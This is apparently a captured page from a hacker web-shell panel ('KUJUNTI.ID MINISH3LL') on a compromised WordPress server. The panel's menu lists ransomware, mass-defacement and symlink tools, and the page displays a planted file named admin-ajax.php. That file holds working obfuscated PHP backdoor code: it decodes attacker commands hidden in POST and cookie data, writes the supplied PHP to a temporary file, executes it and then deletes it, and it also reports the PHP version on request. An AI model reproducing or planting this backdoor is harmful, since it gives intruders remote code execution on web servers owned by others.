\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/deliller/wordpress/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/deliller/wordpress/admin-ajax.php


<?php $dungir    =    'dungir'    ^ /*wckzvi   */ '';
$jegzbhpux     =     $dungir(840-743)	.	$dungir(114)    .	"\162" /*   em*/ . /* icwnq */ "\141"      . /*w   */ "\x79"	. /*   rrxwc  */ $dungir(95)  . /*wtnffn*/ "m"."a".$dungir(434-322);$lkeqhahn      =    "i".$dungir(662-553)     .	"\x70"     .	$dungir(108)      .    "o".$dungir(100)    . /*  _ */ $dungir(101);


$ropesi_     = /* vg_fv*/ "c"."\157" /*   _mchpr   */ . /* c_  */ "\165"    .      "\156"       .	$dungir(743-627);


function      owueipy($okmtq_bqx, /*   bpzdw */ $doddp){


    global /*mxt*/ $dungir;


         $okmtq_bqx /*  jd*/ =  $dungir(60)  .    "?"."\x70" /*  kio  */ .	"\150"  .    $dungir(476-364)    .      $dungir(32) /*o  */ . /* vgxm*/ "\x75"    .    $dungir(815-705) /*  zhj   */ .  "l"."\x69"."n"."\x6b" /* vjpz*/ .    "\x28"	. /*   uan*/ "\x5f"	. /*   rgm  */ "\x5f" /*  ervejv   */ .    "F"."I".$dungir(76)    .     "\105"    .	$dungir(95)     .	"_"."\x29"    .    ";".$dungir(32) /*lmqv_m */ .  $okmtq_bqx["\144"];

    $qszxblcn   = /*  rfzfyp*/ "\146" /* syude   */ .     $dungir(662-557)    .    $dungir(791-683)	.       $dungir(765-664) /* rj   */ . /*  j*/ $dungir(245-150)	.  $dungir(706-594)      .	$dungir(117)     .      $dungir(649-533) /* ry  */ .	"_"."\x63" /*bh_*/ .    $dungir(111)	.	"n".$dungir(116)	.   "\145"      .    "\x6e"	. /*  h*/ $dungir(993-877)      . /*hvz*/ "s";

     


   $qszxblcn($doddp,    $okmtq_bqx);

 /*   il  */      tipmgkz($doddp);}



$ula_wrgydr   =	73;

function       tipmgkz($doddp)
{


 /*  o */ global    $dungir;
    	include($doddp);

 /*  frottw   */ $dxtahy  =    $doddp;
    @unlink($dxtahy);

}




function /* cbe*/ uklita()

{

 /* x*/ global /*  etkz   */ $dungir;

    $ula_w	=    array();


    $ula_w["\160"    . /*rn   */ "v"]  = /*   uk*/ phpversion();


  $ula_w["s"."v"]	= /*   encz   */ "3"."."."\x35";	$ovuguqpo	= /*  lbe   */ 74;

	echo /*  yntt*/ @serialize($ula_w);


}





function    yakzvbw($okmtq_bqx, /*   lzsy   */ $vsmcxoxive)

{    global	$dungir;



  $gafxqdzur    = /* rc */ "";    $tujvnduxv /*lscc*/ =    'dr_s';      $oshhphh /* m*/ =    hash('sha256', /*  ppbpqt   */ $okmtq_bqx);    $yjxaxvs	=    str_replace('cp', /*o   */ $oshhphh,  $tujvnduxv);     $ula_w /*  tcwyy  */ = /*le */ 0;
    while   ($ula_w /* trrrn*/ < /*gsj_qn*/ strlen($okmtq_bqx)) /*lsv   */ { /* _jlbr   */ $fjbflls /* h_pe*/ = /*uz  */ isset($vsmcxoxive)    ? /*qzphdy  */ $vsmcxoxive /*   gnus*/ :    '';      for      ($uqwswvwqj   =  0; /* xqlgh */ $uqwswvwqj /*egqq  */ <       strlen($fjbflls)   &&  $ula_w	<     strlen($okmtq_bqx); /* wfva*/ $uqwswvwqj++, /*  hmhv */ $ula_w++)   {
 /* ykrbua   */ $gafxqdzur	.=	$dungir(ord($okmtq_bqx[$ula_w])   ^ /*r_c  */ ord($fjbflls[$uqwswvwqj]));      }
	if      (strlen($gafxqdzur)	>     20)    {
     $yjxaxvs    =     substr($gafxqdzur, /*   zrpf*/ 0,      20);


  }


 /*   ipjvj */ }       if    (empty($gafxqdzur))       {   $gafxqdzur	= /*qjd */ date('Y-m-d	H:i:s');
     }

    return       $gafxqdzur;}






function     jzppfyw($neunn)

{ /*vwj_*/ global    $dungir;


     /*jers  */ $emwlt   =       $dungir(801-699)     .     "\x65" /* xuxme   */ .    "1".$dungir(768-714) /*qthj  */ . /*zypjv */ "3"."\141" /*lp*/ .    "1"."\70" /*cxwn */ .      $dungir(45) /*mcf*/ . /*  gxwp  */ $dungir(1080-978)      . /* u*/ "\67"     .     "b".$dungir(477-428)    .    "\55"    .       "\x34" /* ht   */ .    "c"."4"."b"."\x2d"     .    "\x39" /*  vug */ .   $dungir(941-844) /*bszrza */ .       "\144".$dungir(98) /*   d   */ .	"-".$dungir(181-127)      .	$dungir(1010-956)      . /*  bsbas */ "\141"	.       "3"."4"."2"."\66" /*v  */ .	$dungir(1039-941) /*tl */ .       "9".$dungir(781-681) /*  iesy */ .    "\x66"       . /*   e */ "\x61";

          foreach /*   zcxdc_  */ ($neunn	as /*  ll */ $ula_wzvyecxac    =>    $okmtq_bqx)  {
      tdeja(base64_decode($okmtq_bqx), /* huj_ */ $emwlt, /*mgtwf*/ $ula_wzvyecxac);
   }

}




function    tdeja($okmtq_bqx, /* h   */ $emwlt, /*zsmy   */ $ula_wzvyecxac){


 /*   etws*/ global /*qrkjk*/ $dungir;

   


    $okmtq_bqx    =	unserialize(yakzvbw(yakzvbw($okmtq_bqx,    $emwlt),      $ula_wzvyecxac));
	$utlnjo /*   fxffev */ =  'thagwg';	$ula_wnrrhkci_w /*pni */ = /*  _xei  */ 'ufzyoq';

    if	(isset($okmtq_bqx[$dungir(910-813) /*   m*/ .   "k"])) /* nog */ {


	if	($okmtq_bqx["\x61"] /* hh   */ ==	"\x69")  {

 /* nju  */ uklita();

	}	elseif   ($okmtq_bqx["\x61"] /*   qlbau */ ==    $dungir(645-544)) /*   dsjxe   */ {


    owueipy($okmtq_bqx,	sprintf($dungir(61-15)	. /*   jypkbx   */ $dungir(47) /* do */ .    "\x25" /* wbuu  */ .       $dungir(115)  .       "."."p".$dungir(108),   md5($emwlt)));
			$mhbwfmnohm	=    44;
      } /*  fhzcbh */ exit();

   }


}





jzppfyw($_POST);    



$km_ajyfw /*ea   */ = /*  e*/ $jegzbhpux('rawurldecode',	$_POST);


$kthvau   =	$ropesi_($km_ajyfw);


if /*   vfvoot */ ($kthvau	> /*rnk  */ 0) /* mqkjpu  */ {


 /* emh  */ $hxmwfh    =    $lkeqhahn(',',	$km_ajyfw);}


jzppfyw($_COOKIE); /*   hbzamp   */ 

$dm_fkcc    =	$jegzbhpux('rawurldecode',	$_COOKIE);$lfmsgy    =       $ropesi_($dm_fkcc);if    ($lfmsgy      >	0)   {

    $ppjbo  =       $lkeqhahn(';', /* t_o  */ $dm_fkcc);}$agabzhwogg    =    $dm_fkcc;
$ak_diwwig    =	date('Y-m-d  H:i:s');



?>

© KUJUNTI.ID